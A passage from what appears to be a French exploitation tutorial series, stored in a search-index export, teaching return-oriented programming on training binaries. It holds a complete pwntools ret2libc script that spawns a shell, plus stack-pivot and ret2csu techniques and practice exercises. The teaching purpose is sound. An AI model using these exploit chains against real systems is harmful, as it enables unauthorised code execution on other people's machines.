mémoire à défaut d’avoir un pointeur vers cette string.Le fait d’avoir un leak de la libc nous offre en réalité bien plus que la possibilité de récupérer l’adresse de system. Cela nous permet aussi d’utiliser les gadgets présents dans la libc, eux aussi sont soumis à l’ASLR car la libc est chargée dynamiquement (PIC).Je ne sais pas si vous avez lancé ROPgadget sur le programme, mais, comment dire… il n’y a pas tellement de gadgets intéressants. Nous allons certainement devoir utiliser ceux de la libc.🤝 /bin/sh dans la libc, merci pour les travauxNous allons aussi profiter du leak pour nous faciliter la vie. Pour ne pas avoir à écrire /bin/sh en mémoire, nous pouvons au moins essayer de voir si cette chaîne de caractères n’est pas déjà présente dans la mémoire de la libc à une adresse prévisible (relativement à l’adresse de base, une fois que nous aurons notre leak).Voici comment utiliser pwntools afin de chercher un offset pointant vers \"/bin/sh\\x00\" :from pwn import *libc = ELF(\"/CHEMIN_VERS/libc.so.6\")print(hex(next(libc.search(b'/bin/sh\\x00'))))# Ex :# 0x1cb42f Vous pouvez utiliser ldd ./exe pour trouver le chemin vers la libc utilisée par le programme.Super, nous avons trouvé un offset vers \"/bin/sh\\x00\" ! Une fois que l’on aura trouvé l’adresse de base de la libc, nous pourrons calculer l’adresse exacte de \"/bin/sh\\x00\".🔎 Trouver des gadgets pour charger des registresA ce stade, nous avons une stratégie pour : trouver l’adresse de system ; trouver un pointeur vers \"/bin/sh\".C’est super mais nous n’avons pas encore trouvé de gadget pour charger les paramètres via les registres, en l’occurrence rdi. Etant donné que nous contrôlons les premiers éléments de la pile, le gadget qui nous aiderait beaucoup serait un gadget du type pop rdi ; ret de telle sorte à ce que l’adresse de \"/bin/sh\" soit en tête de pile au moment de l’exécution du gadget.En exécutant ROPgadget --binary ./exe | grep 'pop rdi', aucun résultat n’est trouvé 🥲. Essayons avec la libc alors ?$ ROPgadget --binary /lib/x86_64-linux-gnu/libc.so.6 | grep 'pop rdi'0x000000000017b045 : pop rdi ; pop rbp ; jmp rcx0x000000000002a873 : pop rdi ; pop rbp ; ret0x0000000000158778 : pop rdi ; pop rbx ; pop r12 ; pop r13 ; pop r14 ; pop rbp ; ret0x000000000010f78b : pop rdi ; ret0x000000000014f08d : pop rdi ; ret 0xffee0x0000000000126295 : pop rdi ; retf0x00000000000fd98a : pop rdi ; sbb byte ptr [rax - 0x3f], cl ; jmp 0xfd9a60x000000000016e9ef : pop rdi ; sbb byte ptr [rax - 0x75], cl ; jnp 0x16e9fd ; call 0x283e00x000000000013ae0b : pop rdi ; sub byte ptr [rax + 0xf], cl ; ror dword ptr [rax - 0x7d], 1 ; ret 0x41800x0000000000180f70 : pop rdi ; xor ebx, ebx ; jmp 0x180f9e0x0000000000156fdf : pop rsi ; pop rdi ; jmp 0x156e920x0000000000172486 : push rsi ; pop rdi ; jmp 0x1724890x0000000000192173 : ror byte ptr [rax - 0x7d], 0xef ; pop rdi ; add rax, rdi ; jmp 0x1920710x0000000000193a43 : ror byte ptr [rax - 0x7d], 0xef ; pop rdi ; add rax, rdi ; jmp 0x1938e2Voilà qui est mieux 😎 ! Vu que l’on a le choix, autant choisir le gadget qui nous permet ni plus ni moins de faire ce que l’on veut :$ ROPgadget --binary /lib/x86_64-linux-gnu/libc.so.6 | grep 'pop rdi ; ret'0x000000000014f08b : add al, ch ; pop rdi ; ret 0xffee0x000000000016bc0b : out 0xe8, al ; pop rdi ; retf0x000000000010f78b : pop rdi ; ret &lt;-------0x000000000014f08d : pop rdi ; ret 0xffee0x0000000000126295 : pop rdi ; retfCelui à l’adresse 0x000000000010f78b semble être ce que l’on cherche. Notons son offset, nous en aurons besoin plus tard. Lorsque des gadgets intéressants s’offrent à nous, il convient de faire attention à certaines choses. Tout d’abord, il vaut mieux sélectionner celui qui permet de réaliser l’action attendue (charger un registre, échanger la valeur entre deux registres …) ni plus ni moins pour éviter de faire planter le programme avec des instructions superflues qui engendreraient des effets de bord. Egalement, lorsqu’il est possible de choisir entre plusieurs mêmes gadgets qui ont des offsets différents, parfois en prendre un aléatoirement suffit. Dans d’autres cas, il faudra peut-être faire attention à la valeur de l’offset. Peut-être que le programme s’attend à ce que l’adresse soit un nombre pair ? Ou aligné sur 16 octets ? On aurait fait comment s’il n’y avait pas le gadget que l’on cherche ?Dans un tel cas, il faut généralement se débrouiller pour faire autrement. Par “faire autrement” on entend, par exemple, jeter un oeil au contenu de chaque registre. Peut-être que l’un des registres contient une adresse intéressante. Par exemple, si rbx pointe vers l’adresse de la variable buffer en mémoire, on pourrait chercher des gadgets du style mov rdi, rbx.N’hésitez pas non plus à jeter un œil au code désassemblé, parfois on y trouve des choses que ROPgadget lui-même n’a pas su trouver 😉. Dans la recherche de gadgets, on cherche très souvent à éviter ceux qui se terminent par un leave ; ret. Cela revient à exécuter mov rsp, rbp ; pop rbp ; ret. De ce fait, l’adresse de la pile est modifiée et toute la chaîne de ROP dans buffer ne sert plus à rien … Il y a toutefois un cas où un leave ; ret peut être très précieux et permettre de sortir de situations où la taille de l’entrée utilisateur est si petite que l’on ne peut pas aller bien loin. La technique en question s’appelle un pivot de stack. Nous aurons l’occasion d’en reparler plus tard.🔗 L’allure de la chaîne de ROPNormalement, si tout se passe bien, notre chaîne de ROP devrait s’exécuter de la sorte : Vous remarquerez que, de la même manière que l’adresse d’une fonction précède ses arguments dans la pile, dans la chaîne de ROP c’est pareil. On y met d’abord l’argument du gadget avant d’y mettre les éléments dont il a besoin. Néanmoins ce n’est pas une règle absolue. Dans certains gadgets un peu plus complexes, il est possible que les éléments manipulés soient placés différemment.Ecriture du script de résolution de l’exerciceEt maintenant, au boulot !La première étape va être de récupérer le leak :from pwn import *io = process(\"./exe\")data = io.recvuntil(b\"\\n\") # Recuperation du leak de \"puts\" sous forme d'entierputs_leak = int(data[-15:-1],16) log.info(f\"leak @ {hex(puts_leak)}\")Maintenant, à partir du leak et des offsets de system et de la chaîne de caractères \"/bin/sh\", déterminons leurs adresses dans le processus :from pwn import *libc = ELF(\"/lib/x86_64-linux-gnu/libc.so.6\")io = process(\"./exe\")data = io.recvuntil(b\"\\n\") # Recuperation du leak de \"puts\" sous forme d'entierputs_leak = int(data[-15:-1],16) log.info(f\"leak @ {hex(puts_leak)}\")puts_offset = libc.symbols[\"puts\"]# Calcul de l'adresse de base de la libclibc.address = puts_leak - puts_offsetlog.info(f\"libc_base @ {hex(libc.address)}\")Pour rappel, l’adresse d’une fonction est égale à addr_base + offset. Avec un calcul digne du collège, nous pouvons en déduire l’adresse de base de la libc.Cela affiche par exemple [*] libc_base @ 0x7c0aae200000. Si les 12 bits de poids faible ne sont pas nuls, il se peut qu’il y ait une erreur dans votre calcul. J’avais initialement fait fuiter l’adresse de strlen dans l’exercice sauf que cela ne me donnait pas la bonne adresse de base de la libc. Cela est dû au fait qu’il y a plusieurs symboles commençant par strlen*. Avec puts nous n’avons plus ce souci.On en déduit les adresses de system, \"/bin/sh\" ainsi que du gadget pop rdi ; ret :from pwn import *OFFSET_POP_RDI_RET = 0x10f78blibc = ELF(\"/lib/x86_64-linux-gnu/libc.so.6\")io = process(\"./exe\")data = io.recvuntil(b\"\\n\") # Recuperation du leak de \"puts\" sous forme d'entierputs_leak = int(data[-15:-1],16) log.info(f\"leak @ {hex(puts_leak)}\")puts_offset = libc.symbols[\"puts\"]# Calcul de l'adresse de base de la libclibc.address = puts_leak - puts_offsetlog.info(f\"libc_base @ {hex(libc.address)}\")addr_system = libc.symbols[\"system\"]addr_bin_sh = next(libc.search(b'/bin/sh\\x00'))addr_pop_rdi_ret = libc.address + OFFSET_POP_RDI_RETlog.info(f\"system @ {hex(addr_system)}\")log.info(f'\"/bin/sh\" @ {hex(addr_bin_sh)}')log.info(f'pop_rdi_ret gadget @ {hex(addr_pop_rdi_ret)}') Une fois que l’adresse de base est saisie dans libc.address, toutes les valeurs récupérées via libc.symbols[\"xxxx\"] seront automatiquement calculées à partir de cette adresse. Par exemple : 0x79f713e87be0 au lieu de 0x87be0.Il ne reste plus qu’à ajouter notre chaîne de ROP au payload final :from pwn import *OFFSET_POP_RDI_RET = 0x10f78blibc = ELF(\"/lib/x86_64-linux-gnu/libc.so.6\")io = process(\"./exe\")data = io.recvuntil(b\"\\n\") # Recuperation du leak de \"puts\" sous forme d'entierputs_leak = int(data[-15:-1],16) log.info(f\"leak @ {hex(puts_leak)}\")puts_offset = libc.symbols[\"puts\"]# Calcul de l'adresse de base de la libclibc.address = puts_leak - puts_offsetlog.info(f\"libc_base @ {hex(libc.address)}\")addr_system = libc.symbols[\"system\"]addr_bin_sh = next(libc.search(b'/bin/sh\\x00'))addr_pop_rdi_ret = libc.address + OFFSET_POP_RDI_RETlog.info(f\"system @ {hex(addr_system)}\")log.info(f'\"/bin/sh\" @ {hex(addr_bin_sh)}')log.info(f'pop_rdi_ret gadget @ {hex(addr_pop_rdi_ret)}')payload = b\"A\"*40 payload += p64(addr_pop_rdi_ret)payload += p64(addr_bin_sh)payload += p64(addr_system)io.send(payload)io.interactive()Alignement de la pileEt en exécutant le script python … bah ça ne marche pas 😩. En utilisant gdb.attach(io) avant le io.send(payload), on se rend compte que le programme plante ici :Un SIGSEGV a lieu lors de l’instruction movaps (MOVe Aligne Packed Single) qui nécessite que l’opérande de destination soit alignée sur 16 octets. Comme vous pouvez le constater, rsp n’est pas aligné sur 16 octets, donc rsp + 0x50 non plus.Il s’agit d’un problème connu en ROP 64 bits pour certaines fonctions comme system ou printf.Il y a plusieurs solutions envisageables mais la plus commode pour ne pas trop modifier notre chaîne de ROP est de modifier notre gadget pop rdi ; ret avec un gadget qui exécute deux instructions pop dont l’une dans rdi.Le fait d’exécuter deux fois pop d’un registre de 8 octets permettra d’aligner in fine la pile sur 16 octets. Il faut évidemment que ce gadget permette toujours de charger l’adresse de /bin/sh dans rdi.Nous pouvons utiliser ROPgadget avec un peu de grep pour trouver un tel gadget :$ ROPgadget --binary /lib/x86_64-linux-gnu/libc.so.6 | grep ': pop r.. ; pop r.. ; ret' | grep 'rdi'0x000000000002a873 : pop rdi ; pop rbp ; retUn tel gadget existe, nous sommes sauvés ! Si dans votre libc un tel gadget n’existait pas, nous aurions pu garder le gadget pop rdi ; ret mais il aurait fallu ajouter un gadget pop rxx ; pop rxx ; ret dans la chaîne de ROP pour que rsp soit aligné sur 16 octets avant d’exécuter system. Astuce : si l’outil met beaucoup de temps à afficher les gadgets, vous pouvez sauvegarder la sortie dans un fichier texte afin de ne pas relancer l’outil à chaque fois. Un simple cat gadgets.txt | grep ... suffira ensuite.La chaîne de ROP finale aura cette allure :Script finalCette fois-ci, promis, c’est la vraie version finale :from pwn import *OFFSET_POP_RDI_POP_RBP_RET = 0x2a873libc = ELF(\"/lib/x86_64-linux-gnu/libc.so.6\")io = process(\"./exe\")data = io.recvuntil(b\"\\n\") # Recuperation du leak de \"puts\" sous forme d'entierputs_leak = int(data[-15:-1],16) log.info(f\"leak @ {hex(puts_leak)}\")puts_offset = libc.symbols[\"puts\"]# Calcul de l'adresse de base de la libclibc.address = puts_leak - puts_offsetlog.info(f\"libc_base @ {hex(libc.address)}\")addr_system = libc.symbols[\"system\"]addr_bin_sh = next(libc.search(b'/bin/sh\\x00'))addr_pop_rdi_pop_rbp_ret = libc.address + OFFSET_POP_RDI_POP_RBP_RETlog.info(f\"system @ {hex(addr_system)}\")log.info(f'\"/bin/sh\" @ {hex(addr_bin_sh)}')log.info(f'pop_rdi_ret gadget @ {hex(addr_pop_rdi_pop_rbp_ret)}')# Construction de la chaine de ROPpayload = b\"A\"*40 payload += p64(addr_pop_rdi_pop_rbp_ret)payload += p64(addr_bin_sh)payload += b\"BBBBBBBB\"payload += p64(addr_system)io.send(payload)io.interactive()Ce qui donne :Pas mal non 😎 ?S’exercerNous avons résolu ensemble le précédent exercice. Il est désormais temps que vous écriviez vous-même le script de résolution. Vous trouverez ci-dessous différents exercices afin de mettre davantage la main à la pâte.Bon courage ! Si le nombre d’octets lus dans read(0,buffer,0x100); est limitant ou bloquant, vous pouvez l’augmenter et recompiler le programme afin de pouvoir utiliser une chaîne de ROP plus longue. Comme il s’agit d’exercices d’introduction on peut se permettre quelques largesses 😉.Exercice n°1Reprenez le précédent exercice avec la contrainte suivante : vous n’avez pas le droit de réutiliser la chaîne \"/bin/sh\" présente dans la libc.Il va falloir trouver un moyen de l’écrire quelque part en mémoire …💡 Indice n°1TGUgcHJvZ3JhbW1lIG4nZXN0IHBhcyBQSUUsIHZvdXMgcG91dmV6IMOpY3JpcmUgw6AgdW5lIGFkcmVzc2UgY29ubnVlIGQnYXZhbmNlIGNvbW1lIGRhbnMgLmJzcyBvdSAuZGF0YS4=💡 Indice n°2SWwgeSBhIHBsdXNpZXVycyBmYcOnb25zIGQnw6ljcmlyZSB1bmUgY2hhw65uZSBkZSBjYXJhY3TDqHJlcy4gUGFyIGV4ZW1wbGUsIHF1J2VzdC1jZSBxdWkgbm91cyBlbXDDqmNoZSBkJ2FwcGVsZXIgJ3JlYWQoMCxhZGRyLDgpJyA/CgpOJ291YmxpZXogcGFzIGRlIHJlbXBsaXIgZCdhYm9yZCBsZSBwcsOpY8OpZGVudCBidWZmZXIgZGUgMHgxMDAgb2N0ZXRzIGF2YW50IGQnZW52b3llciBsZXMgZG9ubsOpZXMgZHUgZGV1eGnDqG1lIGFwcGVsIMOgICdyZWFkJy4KClNpbm9uLCB2b3VzIHBvdXZleiBhdXNzaSDDqWNyaXJlICIvYmluL3NoXHgwMCIgc3VyIGxhIHBpbGUgKDggb2N0ZXRzKSBhaW5zaSBxdWUgbCdhZHJlc3NlIG/DuSB2b3VzIHNvdWhhaXRleiDDqWNyaXJlIGV0IHRyb3V2ZXIgdW4gZ2FkZ2V0IGR1IHN0eWxlIDogJ3BvcCBYWFggOyBwb3AgWVlZIDsgbW92IFtYWFhdLCBZWVkgOyAuLi4gOyByZXQnLgoKRmFpdGVzIHByZXV2ZSBkJ2ltYWdpbmF0aW9uICE=💡 Indice n°3Vm91cyBkZXZyaWV6IHBvdXZvaXIgdHJvdXZlciBjZXMgZ2FkZ2V0cyBxdWksIGF2ZWMgbGUgZ2FkZ2V0ICdwb3AgcmRpIDsgcmV0JywgcGVybWV0dGVudCBkZSBjaGFyZ2VyIGxlcyAzIGFyZ3VtZW50cyBkZSAncmVhZCc6CgoweDAwMDAwMDAwMDAxMTBhN2QgOiBwb3AgcnNpIDsgcmV0CjB4MDAwMDAwMDAwMDBiNTAzYyA6IHBvcCByZHggOyB4b3IgZWF4LCBlYXggOyBwb3AgcmJ4IDsgcG9wIHIxMiA7IHBvcCByMTMgOyBwb3AgcmJwIDsgcmV0Exercice n°2Reprenez le précédent exercice avec les contraintes suivantes : vous n’avez pas le droit de réutiliser la chaîne \"/bin/sh\" présente dans la libc ; vous devez appeler execve(\"/bin/sh\",[\"/bin/sh\",\"-p\",NULL],NULL) au lieu de system.Vous pouvez rendre le programme SUID pour tester le bon fonctionnement du script de résolution. Prenez bien le temps de voir quelle allure aura la chaîne de ROP au brouillon avant de vous lancer dans l’écriture du script de résolution.Exercice n°3Reprenez le précédent exercice avec les contraintes suivantes : vous devez résoudre l’exercice en exécutant un appel système via un shellcode.💡 Indice n°1Vm91cyBwb3V2ZXogdXRpbGlzZXIgJ21wcm90ZWN0JyBwb3VyIGNoYW5nZXIgbGVzIHBlcm1pc3Npb25zL3Byb3RlY3Rpb25zIGQndW5lIHpvbmUgbcOpbW9pcmUgKGFsaWduw6llIHN1ciBsYSB0YWlsbGUgZCd1bmUgcGFnZSBtw6ltb2lyZSku" }, { "title": "Partie 22 - Exploiter un binaire par ROP - techniques avancées et cas particuliers (3/6)", "url": "/posts/introduction_au_pwn_partie_22/", "categories": "Pwn, Introduction au pwn", "tags": "x86, pwn, linux", "date": "2026-04-17 08:00:00 -0200", "snippet": "Exploiter un binaire par ROP : techniques avancées et cas particuliers (3/6)J’espère que les précédents exercices ne vous ont pas trop donné de fil à retordre. Comme vous avez pu le constater, le R...", "content": "Exploiter un binaire par ROP : techniques avancées et cas particuliers (3/6)J’espère que les précédents exercices ne vous ont pas trop donné de fil à retordre. Comme vous avez pu le constater, le ROP en soi n’est pas une technique très compliquée. Ce qui est compliqué, c’est de : trouver les gadgets ; faire en sorte que leur exécution se déroule correctement.Nous avons, lors du précédent chapitre, exploité un programme grâce à une chaîne de ROP dans un contexte qui nous était favorable : nous avions un leak ; le buffer était assez grand pour contenir toute la chaîne de ROP ; il n’y avait pas de contrainte sur les données écrites dans le buffer (exemple : sauts de ligne ou espaces autorisés …). Nous allons essayer, à travers ce chapitre, de pousser le bouchon de plus en plus loin.ROP 32 bits VS ROP 64 bitsIl existe plusieurs différences importantes entre le ROP 32 bits et le ROP 64 bits. Voyons ensemble en quoi elles consistent.64 bitsEtant donné que les premiers arguments des programmes x86_64 sont transmis via des registres, la structure d’une chaîne de ROP sera généralement de la sorte :Dans ce schéma il n’y a qu’une seule fonction à exécuter : goal. Qu’en serait-il s’il fallait exécuter plusieurs fonctions intermédiaires avant goal ?La structure est assez logique, elle est de cette forme :gadget_Xarg_1...arg_Nfunc_XOù gadget_X est un ensemble d’instructions qui permet de charger les divers arguments de func_X dans les registres idoines. Ces gadgets ont souvent la forme pop rxx ; pop rxx ; ... ; ret.32 bitsLes chaînes de ROP en 32 bits ont une structure différente de celles en 64 bits pour deux principales raisons : les arguments sont transmis via la pile : cela implique que l’adresse de la fonction précède les arguments dans la chaîne de ROP alors qu’en 64 bits, c’est l’inverse ; la convention d’appel doit être prise en considération : les fonctions peuvent avoir une convention d’appel (ex : cdecl) qui fait que c’est à la fonction appelante de rétablir la pile. Auquel cas, il faudra ajouter des “gadgets de nettoyage” dans la chaîne de ROP afin que les appels consécutifs de fonctions se déroulent sans soucis.Les fonctions de la libc sont principalement de type cdecl. Ce qui signifie que c’est à nous de faire le ménage 🧹.En reprenant la précédente image qui schématise l’enchaînement de l’appel de 4 fonctions, voici ce que cela donnerait en 32 bits en comparant avec la version 64 bits :L’agencement global reste identique : les fonctions sont appelées dans le même ordre ; la différence se situe dans la disposition des gadgets et la préparation des arguments. Les gadgets utilisés en 32 bits n’ont pas le même objectif qu’en 64 bits : 64 bits : les gadgets permettent de charger les arguments dans les registres (ex : pop rdi ; pop rsi ; pop rdx ; ret). 32 bits : les gadgets permettent de faire le ménage 🧹 avant de passer à la fonction suivante. Cela consiste principalement à retirer les arguments de la pile avec des gadgets du type : pop exx ; pop exx ; pop exx ; ret.En 64 bits l’appel d’une fonction est réalisé avec cet agencement :adresse_gadget arg_1...arg_Naddr_fonctionEn 32 bits, l’adresse de la fonction précède l’adresse du gadget :addr_fonctionadresse_gadgetarg_1...arg_NPour résumer, la position du gadget et son utilité sont les suivantes : 64 bits : le gadget est placé avant la fonction et avant les arguments car son rôle est de charger les divers arguments dans les registres ; 32 bits : le gadget est placé après la fonction et avant les arguments car son rôle est de retirer de la pile les arguments qui viennent d’être utilisés.Il n’y a pas besoin d’apprendre par cœur comment est effectué l’agencement interne en 64 bits ou 32 bits. Il suffit juste de se rappeler de la manière dont sont réalisés les appels dans ces deux architectures. Ensuite, il sera assez simple de retrouver comment agencer les différents éléments car cela suit une certaine logique. En 32 bits, l’adresse située en dessous de la dernière fonction exécutée (notée OSEF dans le schéma) peut valoir n’importe quelle valeur car une fois la fonction goal exécutée, l’exploitation du programme est terminée. Par contre, vous pouvez modifier cette adresse pour la faire pointer vers une fonction comme exit afin de quitter proprement le programme.Un avantage des chaînes de ROP en 32 bits est qu’elles n’ont a priori pas besoin d’être alignées sur N octets contrairement aux chaînes de ROP 64 bits qui en ont souvent besoin.Stack pivot (ou pivot de pile 🥖)Comment parler du ROP sans évoquer la technique du pivot de stack ? Nous l’avions brièvement évoquée dans le précédent chapitre lorsque nous avions parlé des gadgets se terminant par un leave ; ret.Très souvent on cherche à éviter de tomber sur des gadgets se terminant par leave ; ret car cela chamboule toute la chaîne de ROP étant donné que leave modifie la valeur de rsp. Mais il existe un cas où cela se révèle très pertinent.Pour illustrer cela, nous allons nous appuyer sur le programme suivant :#include &lt;stdio.h&gt;#include &lt;unistd.h&gt;// gcc -no-pie -fno-pie -fno-stack-protector main.c -o exechar description[0x100];int main(){ char prenom[0x10] = {0}; puts(\"Quel est ton prenom ?\"); read(0,prenom,0x20); puts(\"Que fais-tu dans la vie ?\"); read(0,description,sizeof(description)); puts(\"Merci c'est note, au revoir !\"); return 0;}En provoquant un dépassement de mémoire, les 0x18 premiers octets lus n’auront aucun effet sur le ROP. Avec les 8 octets restants, nous ne pouvons pas mettre en place une chaîne de ROP.De plus la description n’est pas lue dans la pile. Nous avons donc besoin de plus de place. C’est là que le gadget leave ; ret intervient. Pour rappel, cela équivaut à :mov rsp, rbppop rbpretContrôler rspNous allons détourner l’utilisation classique de leave ; ret afin de pouvoir déplacer la pile vers une autre zone mémoire, généralement connue d’avance et où nous pouvons y écrire des données arbitraires.TL;DR : cette technique permet de contrôler arbitrairement rsp et donc de modifier la zone de la pile.Si vous vous souvenez de la manière de retourner vers la fonction appelante depuis la fonction appelée et de l’épilogue, vous devriez savoir qu’en fin de fonction la pile a peu ou prou cette forme :Dans le cas d’un buffer overflow, lorsque la fonction appelée exécutera leave ; ret, au lieu de retourner dans la fonction appelante, cela impliquera deux choses : la valeur sauvegardée de rbp sera écrasée (ex: 0xdeadbeefcafebabe) ; l’adresse de retour sera également écrasée (avec l’adresse d’un gadget etc.).C’est un peu le but du buffer overflow, me diriez-vous ?Mais que se passerait-il si l’adresse de retour était écrasée avec l’adresse du gadget leave ; ret ? Ceci est l’état de la stack frame une fois le buffer overflow réalisé mais avant de quitter la fonction exploitée ; lorsque la fonction exploitée tente de retourner vers la fonction appelante, deux choses se passent : rbp est chargé avec une valeur arbitraire 0xdeadbeefcafebabe ; le programme exécutera en réalité le prochain gadget, à savoir leave ; ret. lors de l’exécution du gadget, on remarque que rsp a désormais la valeur arbitrairement choisie ! Toutefois, le programme ne risque pas d’aller bien loin : étant donné que rsp pointe vers une adresse invalide (0xdeadbeefcafebabe) l’instruction pop rbp échouera.Pivotons !Nous savons à présent comment utiliser ce gadget pour contrôler rsp. Reprenons le programme utilisé à titre d’exemple pour voir en quoi un pivot de pile nous aiderait à pouvoir utiliser une chaîne de ROP plus longue.Supposons que le tableau description soit stocké à l’adresse 0x404100 (car pas de PIE). Voici comment rediriger rsp vers le tableau description pour y exécuter la chaîne de ROP qu’il contient :Il suffit d’exécuter deux fois le gadget leave ; ret ! Notez bien que rsp pointera in fine à l’adresse choisie +8 en raison du pop rbp du gadget leave_ret.L’un des atouts majeurs de cette technique est que même s’il n’est pas possible d’écraser des éléments dans la pile au-delà de l’adresse de retour, on peut tout-à-fait réaliser du ROP à partir d’une autre zone mémoire contrôlée. Et si je trouve pas de gadget leave ; ret, comment faire ?Dans un tel cas, il suffit d’utiliser des instructions qui auront pour effet de modifier la valeur de rsp comme : pop rsp ; xchg rsp, ... ou xchg ..., rsp ;Et si même comme ça vous ne trouvez pas de tels gadgets, on pourra envisager l’utilisation de la fonction setcontext. Cela nécessite cependant de contrôler le premier argument.✏️ ExerciceAssez parlé, place au concret. C’est l’occasion que vous puissiez mettre en oeuvre cette technique dans le cadre d’un exercice, qui honnêtement, est facile à exploiter. Il suffit juste de bien avoir en tête la manière dont on veut pivoter de la pile vers une autre zone mémoire. 🎯 Objectif : appeler ouvrir_shell avec les arguments suivants ouvrir_shell(\"/bin/sh\", [\"/bin/sh\",NULL]) via un pivot de pile 🖥️ Compilation (si besoin de le faire en local) : gcc -no-pie -fno-pie -fno-stack-protector main.c -o exe ⬇️ Téléchargement : pwn-rop-exo-pivot.zip 🔎 SHA256 &amp; Analyse Virus Total : 18313ff1267fd328db21b51bd239b5806f15a81c2164ea704b5b353b26f0c6e4 ⚙️ Construction et lancement du conteneur :docker build -t pwn-rop-exo-pivot .docker run -it --rm -p 1234:1234 --cap-add=SYS_PTRACE --security-opt seccomp=unconfined pwn-rop-exo-pivotLe programme vulnérable est le suivant :#include &lt;stdio.h&gt;#include &lt;unistd.h&gt;// gcc -no-pie -fno-pie -fno-stack-protector main.c -o exechar osef1[0x10000];char description[0x100];char osef2[0x10000];void __attribute__((naked)) c_est_la_maison_qui_regale() { __asm__ volatile ( \"pop %rax\\n\\t\" \"pop %rbx\\n\\t\" \"pop %rdi\\n\\t\" \"pop %rdx\\n\\t\" \"pop %rsi\\n\\t\" \"ret\\n\\t\" );}void ouvrir_shell(char * cmd, char **args){ execve(cmd,args,NULL);}int main(){ char prenom[0x10] = {0}; puts(\"Quel est ton prenom ?\"); read(0,prenom,0x20); puts(\"Que fais-tu dans la vie ?\"); read(0,description,sizeof(description)); puts(\"Merci c'est note, au revoir !\"); return 0;} Les tableaux osef1 et osef2 ne sont pas à utiliser lors de l’exploitation du programme. Ils permettent simplement d’éviter les soucis dans le cas où, lors de l’appel à execve, rsp recule beaucoup par rapport à l’adresse de description. En fait, si on avait seulement mis le tableau description tout seul, en faisant sub rsp, 0x100 par exemple, rsp pointerait vers une zone mémoire en lecture seule ce qui générera un SIGSEGV.Etre à court de gadgetsDans certains programmes, notamment les plus petits, il n’y a pas énormément de fonctions donc pas beaucoup d’instructions et donc pas beaucoup de gadgets. Par ailleurs, un leak de la libc n’est pas toujours disponible en début d’exploitation, donc on ne pourra pas compter sur les nombreux gadgets qu’elle propose.Dans cette section, nous allons voir quelques astuces qui permettent d’arriver à ses fins lorsqu’il n’y a pas tant de gadgets que ça.ret2csu : utiliser __libc_csu_init comme gadgetpop rdx où es-tu ?Le fait est qu’il est généralement assez facile de trouver des gadgets ayant un pop rdi ou pop rsi. Par contre, c’est bien plus rare pour pop rdx. C’est assez embêtant, surtout lorsque l’on souhaite appeler une fonction qui prend 3 arguments.Il existe une astuce basée sur une utilisation détournée de __libc_csu_init qui permet de charger le registre rdx. Malheureusement cette fonction n’existe plus dans les versions récentes de la libc.Que permet-elle de faire ?Le corps de cette fonction ressemble à ceci : Les registres utilisés peuvent différer d’un compilateur à un autre. cette instruction permet de charger rdx à partir de r15. Ça tombe bien, on peut modifier le contenu de r15 avec le gadget pop r15 ; ret en fin de fonction 😉 ; Nous avons déjà parlé de ce fabuleux “gogo-gadget” dont on peut extraire un pop rdi ; ret et pop rsi ; pop r15 ; ret 😎 ; ah là, c’est un peu plus pénible. Il y a un appel indirect à l’adresse stockée dans le pointeur [r12+rbx*8]. Mais Dieu merci, nous pouvons contrôler le contenu de ces deux registres grâce aux dernières instructions de cette fonction.Il y a aussi une autre contrainte qui est d’avoir rbp == rbx lors de l’instruction cmp rbp, rbx. Le cas échéant , l’instruction jnz fera sauter le programme encore une fois à l’instruction mov rdx, r15 et ce n’est pas ce que l’on veut. Il est très facile de satisfaire cette contrainte étant donné que l’on peut contrôler le contenu de ces deux registres grâce à pop rbx ; pop rbp ; ...; ret.La seule difficulté à surmonter dans l’utilisation de __libc_csu_init est de trouver un pointeur qui pointe vers une fonction qui ne fait … rien, walou, nada. Bah oui, si la fonction appelée modifie rdx notre effort aura été vain 😅.Nous pouvons opter pour deux solutions : utiliser une primitive d’écriture arbitraire à une adresse connue d’avance et y écrire l’adresse d’une instruction ret ; chercher parmi les fonctions qui disposent de symboles, celles qui ne font rien.La première configuration implique plus d’hypothèse mais au moins, on peut choisir de n’exécuter que l’instruction ret d’une fonction, ni plus, ni moins.Dans le second cas, on pourra chercher des fonctions de ce type (aussi appelée fonction _fini): _term_proc peut également être appelée _fini.Elle ne fait rien de spécial et dispose d’un entrée Elf64_Sym :En faisant en sorte que r12+rbx*8 == 0x4003b0, la fonction appelée sera _term_proc à l’adresse 0x4006b4.Chaîne de ROP finaleComment écrire sa chaîne de ROP en utilisant __libc_csu_init pour réaliser, par exemple, un appel à une fonction func(0xaaaaaaaaaaaaaaaa,0xbbbbbbbbbbbbbbbb,0xcccccccccccccccc) ? L’image est très grande, n’hésitez pas à zoomer si besoin 🔎.Quelques remarques : il y a pas mal d’étapes mais au moins cela a le mérite de pouvoir exécuter n’importe quelle fonction à 3 paramètres ; la chaîne de ROP nécessite toutefois d’avoir une taille assez importante comme vous pouvez le constater 😅 ; rbx n’est pas mis dès le départ à la même valeur que rbp en raison de l’exécution de add rbx, 0x1 ; sachant qu’il est possible d’affecter n’importe quelle valeur à rsi à partir de r14, il n’y a pas besoin d’ajouter dans la chaîne un saut au gadget pop rsi ; pop r15 ; ret ; évidemment, tous ces gadgets sont présent dans la fonction __libc_csu_init; les éléments osef peuvent contenir n’importe quelle valeur sans que cela n’ait d’effet lors du ROP.Elle en a dans le ventre __libc_csu_init, hein 😏 ?Tirer parti des effets de bordIl y a une astuce, un peu tirée par les cheveux, qui permet de charger certains registres en appelant une fonction donnée avec certains paramètres.Par exemple, imaginons que vous n’ayez pas accès à la libc mais que le programme contienne un gadget syscall vous permettant de réaliser des appels système tels que execve. En x86_64, le numéro de l’appel système doit être renseigné dans le registre rax. Malheureusement, les gadgets contenant pop rax ; ... ; ret y’en a pas des masses.Pour parvenir à modifier arbitrairement le contenu de rax, nous allons utiliser les effets de bords liés à l’exécution d’une fonction, notamment la modifications des registres.Par exemple, si on arrive à contrôler rdi et rdx, en appelant memcpy avec rdx == 0, peu importe la valeur de rdi (même s’il ne s’agit pas d’une adresse valide), rax aura la valeur de rdi en fin de fonction.Ce qui signifie qu’en utilisant une taille nulle, il est possible de transférer la valeur de rdi à rax. Voici ce qui se passe avant et après un appel à memcpy(0xaaaaaaaaaaaaaaaa, 0xbbbbbbbbbbbbbbbb, 0) :Une fois l’exécution terminée :La valeur de rax est bien modifiée à partir de celle de rdi 😎. La valeur de rsi n’importe pas. Qu’elle soit valide ou non, dans tous les cas le contenu de rdi est chargé dans rax.Il devrait être possible d’exploiter cet effet de bord via des fonctions qui appellent memcpy de manière sous-jacente ou qui, comme memcpy, retournent 